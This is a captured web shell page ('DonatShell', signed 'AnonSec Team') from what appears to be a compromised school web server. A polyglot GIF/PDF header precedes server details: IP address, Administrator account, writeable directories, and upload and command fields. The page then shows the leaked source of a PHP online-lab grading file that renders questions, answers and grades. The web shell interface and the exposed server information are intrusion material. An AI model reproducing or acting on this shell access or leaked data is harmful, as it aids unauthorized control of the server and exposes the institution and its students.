GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Class/OnlineLab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Class/OnlineLab/QuestionAnswer.phpinc
<?
// Class/OnlineLab/QuestionAnswer.phpinc
// Display the question and get answers.

if (da()) debugTrackBegin();

#if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) { $DEBUG_QuestionAnswer = true; $f_message = '$DEBUG_QuestionAnswer = true '.basename(__FILE__).':'.__LINE__; include('common/displayErrorsAndMessages.phpinc'); }
if ( !isset($DEBUG_QuestionAnswer) ) $DEBUG_QuestionAnswer = false;

if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) $SetAnswerCorrect_QuestionAnswer = true;
if ( !isset($SetAnswerCorrect_QuestionAnswer) ) $SetAnswerCorrect_QuestionAnswer = false;

// Get gradeanswer info by userId gradeId questionNum..
include('QuestionStatus.phpinc');
include('QuestionGrade.phpinc');
if ( $DEBUG_QuestionAnswer ) {
	#printVar('$QuestionPart['Answer']',$QuestionPart['Answer']);
}
$sectionTitle = $title.' - Question #'.$f_questionNum;
include('common/sectionHeader.phpinc');
$questionHasEC = false;
$explanationText = '';
?>
<p>
<fieldset><legend><?=$f_evaluationTitle?> - Question #<?=$f_questionNum?></legend>
<table class="pad2">
	<tr><th colspan="2" class="center"><?=$Question['Instructions']?></th></tr>
  <tr>
  	<td colspan="2">
<?
// Check for the images.
$imageSuffixArray = array('','a','b','c','d','e','f','g','h','i');
$imageExtensionArray = array('gif','jpg','png');
$imgCount = 0;
foreach ( $imageSuffixArray as $imageSuffix ) {
	foreach ( $imageExtensionArray as $imageExtension ) {
		$fileImg = twoDigit($f_questionNum).$imageSuffix.'.'.$imageExtension;
		#printVar('$fileImg',$fileImg);
		$pathPrefix = '';
		$pathURL = '/images/'.$fileImg;
		$pathImg = dirname($_SERVER['SCRIPT_FILENAME']).$pathURL;
		#printVar('$pathImg',$pathImg);
		if ( file_exists($pathImg) ) {
			if ( $imgCount ) { echo"	<br><br>\n"; }
      $imgCount++;
?>
	<img src="./<?=$pathURL?>" alt="<?=$f_evaluationTitle?> <?=$f_evaluationDescription?> question <?=$f_questionNum?> image <?=$fileImg?>.">
<?
		}
		#printVar('$imgCount',$imgCount);
	}
}
?>
    </td>
  </tr>
<?
if ( $DEBUG_QuestionAnswer ) { // Show correct answers.
?>
  <tr><td class="right nowrap"><?=$f_questionNum?>.</td><td>Correct answers:</td></tr>
<?
	for ($questionPartNum=1; $questionPartNum<=$QuestionPart['Count']['Total']; $questionPartNum++) {
		$optionText = explode('|',$QuestionPart['Options'][$questionPartNum]);
		$optionsCount = count($optionText);
		array_unshift($optionText,''); // Add an empty element to the beginning of $optionText.
?>
  <tr>
    <td class="right nowrap<? if ( $QuestionPart['Value'][$questionPartNum] < 0 ) { $questionHasEC = true; ?> evalEC<? } ?>"><? if ( $QuestionPart['Value'][$questionPartNum] < 0 ) { ?>* <? } ?><?=$QuestionPart['Text'][$questionPartNum]?>:</td>
    <td class="correctAnswer">(<?=$QuestionPart['Answer'][$f_questionNum][$questionPartNum]?>) <?=trim($optionText[$QuestionPart['Answer'][$f_questionNum][$questionPartNum]])?></td>
  </tr>
<?
	}
?>
  <tr><td colspan="2" class="right nowrap"><br></td></tr>
<?
} // Show correct answers.
?>
  <tr>
    <td colspan="2" class="center">
			<table class="pad2">
<?
		// Loop through each question part.
		for ($questionPartNum=1; $questionPartNum<=$QuestionPart['Count']['Total']; $questionPartNum++) {
			$optionText = explode('|',$QuestionPart['Options'][$questionPartNum]);
			$optionsCount = count($optionText);
			array_unshift($optionText,''); // Add an empty element to the beginning of $optionText.
			// Remove sorting text.
			for ( $optionIndex=1; $optionIndex<=$optionsCount; $optionIndex++ ) {
				$optionParts = explode('>.<',$optionText[$optionIndex]);
				#printVar('$optionParts',$optionParts);
				if ( !isset($optionParts[1]) ) {
					$optionText[$optionIndex] = trim($optionParts[0]);
				} else {
					$optionText[$optionIndex] = trim($optionParts[1]);
				}
			}
?>
      	<tr>
        	<td class="right nowrap<? if ( $QuestionPart['Value'][$questionPartNum] < 0 ) { $questionHasEC = true; ?> evalEC<? } ?>"><? if ( $QuestionPart['Value'][$questionPartNum] < 0 ) { ?>* <? } ?><?=$QuestionPart['Text'][$questionPartNum]?>:</td>
          <td>
<?
			if ( !$gradeanswerInfo[$f_questionNum]['gradeanswerSubmitted'] && !$gradeanswerInfo[$f_questionNum]['gradeanswerGraded'] ) {
?>
          	<select name="f_answerPart_<?=$questionPartNum?>">
          		<option value="0">{ Select answer }</option>
<?
						#printVar('$options',$options);
						// Loop through all options.
				for ( $optionIndex=1; $optionIndex<=$optionsCount; $optionIndex++ ) {
					if ( $optionIndex == $QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum] ) { $selected = ' selected'; } else { $selected = ''; }
					if ( $SetAnswerCorrect_QuestionAnswer && $optionIndex == $QuestionPart['Answer'][$f_questionNum][$questionPartNum] ) { $selected = ' selected'; }
?>
          		<option value="<?=$optionIndex?>"<?=$selected?>><?=trim($optionText[$optionIndex])?><? if ( $DEBUG_QuestionAnswer ) { ?> (<?=$optionIndex?>)<? } ?></option>
<?
				}
?>
          	</select> (<?=$QuestionPart['Value'][$questionPartNum]?> pt<? if ( $QuestionPart['Value'][$questionPartNum] != 1 ) { ?>s<? } ?>)<? /** / if ( $DEBUG_QuestionAnswer ) { ?> (<?=$QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum]?>) (<?=$QuestionPart['Answer'][$f_questionNum][$questionPartNum]?>)<? } /**/ ?>
<?
			} else {
?>
            <input type="hidden" name="f_answerPart_<?=$questionPartNum?>" value="<?=$QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum]?>">
<?
				$Grade['Percentage']['SoFar'] = gradePercentageClass((int)($gradeanswerInfo[$f_questionNum]['gradeanswerGrade']*100+.5));
				if ( $DEBUG_QuestionAnswer ) {
					?>(<?
					if ( $QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum] != $QuestionPart['Answer'][$f_questionNum][$questionPartNum] ) {
					?><span class="incorrectAnswer"><?
				}
					?><?=$QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum]?><?
					if ( $QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum] != $QuestionPart['Answer'][$f_questionNum][$questionPartNum] ) {
						?></span> <span class="correctAnswer"><?=$QuestionPart['Answer'][$f_questionNum][$questionPartNum]?></span><?
					}
					?>) <?
				}
				if ( $gradeanswerInfo[$f_questionNum]['gradeanswerViewed'] || ( in_array('ADMIN',$_SESSION['userPermissions']) && $_SESSION['userId'] != $f_userId ) ) {
					if ( $QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum] != $QuestionPart['Answer'][$f_questionNum][$questionPartNum] ) {
						if ( $QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum] ) { 
							?><span class="incorrectAnswer nowrap"><?=trim($optionText[$QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum]])?><? if ( $DEBUG_QuestionAnswer ) { ?> (<?=$QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum]?>)<? } ?></span><br><?
						} else {
							?>[ Not answered ]<?
						}
					}
					?><span class="correctAnswer nowrap"><?=trim($optionText[$QuestionPart['Answer'][$f_questionNum][$questionPartNum]])?><? if ( $DEBUG_QuestionAnswer ) { ?> (<?=$QuestionPart['Answer'][$f_questionNum][$questionPartNum]?>)<? } ?></span><?
				} else {
					if ( $QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum] ) { 
						?><span class="nowrap"><?=trim($optionText[$QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum]])?><?
					} else {
						?>[ Not answered ]<?
					}
?></span><?
				}
			}
?>
<!--
           (<?=$QuestionPart['Value'][$questionPartNum]?> pt<? if ( $QuestionPart['Value'][$questionPartNum] != 1 ) { ?>s<? } ?>)-->
					</td>
        </tr>
<?
			}
			if ( $questionHasEC ) {
?>
        <tr><td colspan="2" class="evalEC">* This answer is for Extra Credit.</td></tr>
<?
			}
?>
      </table>
      <br>
      <div class="left">
<?
			$ViewCorrectAnswersWarning = '';
			if ( !$gradeanswerInfo[$f_questionNum]['gradeanswerGraded'] ) {
				$explanationText .= '<br><div class="buttontext">Save question</div> Save the question for later changes or submission';
				$explanationText .= '<br><div class="buttontext">Submit &amp; grade question</div> Submit &amp; grade the question';
?>
      <input type="submit" name="Save" value="Save question" onClick="document.form_Lab.f_task.value='Save question';document.form_Lab.submit();" title="Save the question for later changes or submission.">
      <input type="submit" name="Submit" value="Submit &amp; grade question" onClick="document.form_Lab.f_task.value='Submit &amp; grade question';document.form_Lab.submit();" title="Submit &amp; grade the question.">
<?
			} else {
				$correctPercentage = (int)($QuestionAnswerPart[$f_questionNum]['Count']['Correct'] / $QuestionPart['Count']['Total'] *100+.5);
				$correctPercentageClass = gradePercentageClass($correctPercentage);
				#if ( $DEBUG_QuestionAnswer )$gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded'] = 0.5;
				if ( !$gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded'] || !(float)$gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded'] ) {
					$pointsPercentage = (int)($GradePart[$f_questionNum]['Points'] / $QuestionPart['Points']['Required'] *100+.5);
				} else {
					$actualPoints = (float)($GradePart[$f_questionNum]['Points'] + $gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded']);
					$pointsPercentage = (int)( ( $GradePart[$f_questionNum]['Points'] + $gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded'] ) / $QuestionPart['Points']['Required'] *100+.5);
				}
				$pointsPercentageClass = gradePercentageClass($pointsPercentage);
				$pointsPercentageLetter = gradeLetterAC($pointsPercentage);
				$pointsPercentageLetterClass = gradeClass($pointsPercentageLetter);
?>
			<table>
      	<tr><td class="right">Correct answer<? if ( $QuestionAnswerPart[$f_questionNum]['Count']['Correct'] != 1 ) { ?>s<? } ?>:</td><td><?=$QuestionAnswerPart[$f_questionNum]['Count']['Correct']?> of <?=$QuestionPart['Count']['Total']?> (<?=$correctPercentageClass?>).</td></tr>
        <tr>
          <td class="right">Question grade:</td><td><?
				if ( !$gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded'] || !(float)$gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded'] ) {
					?><?=$pointsPercentageLetterClass?> (<?=$GradePart[$f_questionNum]['Points']?>/<?=$QuestionPart['Points']['Required']?> points = <?=$pointsPercentageClass?>).<?
				} else {
					?><?=$pointsPercentageLetterClass?> (<?=$GradePart[$f_questionNum]['Points']?>+<?=(float)$gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded']?> point added manually = <?=$actualPoints?>/<?=$QuestionPart['Points']['Required']?> points = <?=$pointsPercentageClass?>).<?
				}
        ?></td>
        </tr>
      </table>
<?
if ( $gradeanswerInfo[$f_questionNum]['gradeanswerViewed'] || ( in_array('ADMIN',$_SESSION['userPermissions']) && $_SESSION['userId'] != $f_userId ) ) {
	#printVar("\$Question['DataFrom'][$f_questionNum]",$Question['DataFrom'][$f_questionNum]);
	$dataFrom = explode(',',$Question['DataFrom'][$f_questionNum]);
	if ( count($dataFrom) ) {
?>
		<br><span class="info">Data was obtained from:</span><br>
<?
		foreach ( $dataFrom as $href ) {
			if ( substr($href,0,7) == 'http://' || substr($href,0,6) == 'ftp://' ) {
?>
			<a href="<?=$href?>"><?=urldecode($href)?></a><br>
<?
			} else {
?>
			<?=urldecode($href)?><br>
<?
			}
		}
?>
		<br>
<?
	} else {
?>
		<br><span class="info">There is no record of where this data was obtained from.</span><br>
<?
	}
}
?>      <br>
      Enter any comments you have on this question. Please include where you found your information.
      <br>
      <textarea name="f_gradeanswerComment" id="f_gradeanswerComment" style="width:50em;height:16em;"><?=htmlView($gradeanswerInfo[$f_questionNum]['gradeanswerComment'])?></textarea>
      <br>
      If you request <?=$evaluationType?> <?=$evaluationNumber?> be hand graded, the comments will be evaluated and any change in grade applied.
      </div>
<?
				if ( $gradeanswerInfo[$f_questionNum]['gradeanswerComment'] ) {
					$explanationText .= '<br><div class="buttontext">Save comment changes</div> Update the question comments.';
?>
      <input type="submit" name="Save" value="Save comment changes" onClick="document.form_Lab.f_task.value='Save comments';document.form_Lab.submit();" title="Save the question comment changes.">
<?
				} else {
					$explanationText .= '<br><div class="buttontext">Save comments</div> Save the question comments.';
?>
      <input type="submit" name="Save" value="Save comments" onClick="document.form_Lab.f_task.value='Save comments';document.form_Lab.submit();" title="Save the question comments.">
<?
				}
				if ( !$gradeanswerInfo[$f_questionNum]['gradeanswerViewed'] && $QuestionAnswerPart[$f_questionNum]['Count']['Correct'] < $QuestionPart['Count']['Total'] ) {
					$explanationText .= '<br><div class="buttontext">View correct answers</div> Shows the correct answers. Requests to hand grade the lab may be ignored.';
?>
      <input type="submit" name="Save" value="View correct answers" onClick="document.form_Lab.f_task.value='View correct answers';document.form_Lab.submit();" title="View the correct answers.">
<?
      #$ViewCorrectAnswersWarning = '<br><span class="warning">WARNING: If you view correct answers your comments will not be evaluated for this question.</span>';
				}
			}
					$explanationText .= '<br><div class="buttontext">Return to question list</div> Return to question list without saving any changes that have not been saved.';
?>
      <input type="submit" name="Exit" value="Return to question list" onClick="document.form_Lab.f_task.value='Return to question list';document.form_Lab.submit();" title="Return to question list without saving any changes that have not been saved.">
      <?=$ViewCorrectAnswersWarning?>
<?
		if ( in_array('ADMIN',$_SESSION['userPermissions']) && $_SESSION['userId'] != $f_userId ) {
					$explanationText .= '<br><div class="buttontext">Update grade</div> Add points to grade.';
?>
			<br>Add points: <input type="text" class="number4" name="f_gradeanswerGradeAdded" value="<?=(float)$gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded']?>">
      <input type="submit" name="Save" value="Update grade" onClick="document.form_Lab.f_task.value='Update grade';document.form_Lab.submit();" title="Add points to grade.">
<?
		}
		if ( $DEBUG_QuestionAnswer ) {
			$answersList = '';
			if ( isset($QuestionAnswerPart[$f_questionNum]['Answer'][0]) ) {
				for ($questionPartNum=1; $questionPartNum<=$QuestionPart['Count']['Total']; $questionPartNum++) {
					$answersList = listAppend($answersList,$QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum],',');
				}
			}
?>
			<br>answers == [<?=$answersList?>]
<?
		}
?>
      </div>
			<div class="left"><?=$explanationText?></div>
    </td>
  </tr>
</table>
</fieldset>

<?
if ( $DEBUG_QuestionAnswer ) {
	printVar('$gradeanswerInfo',$gradeanswerInfo);
	setDebugOn();
}

include('common/sectionFooter.phpinc');if (da()) debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team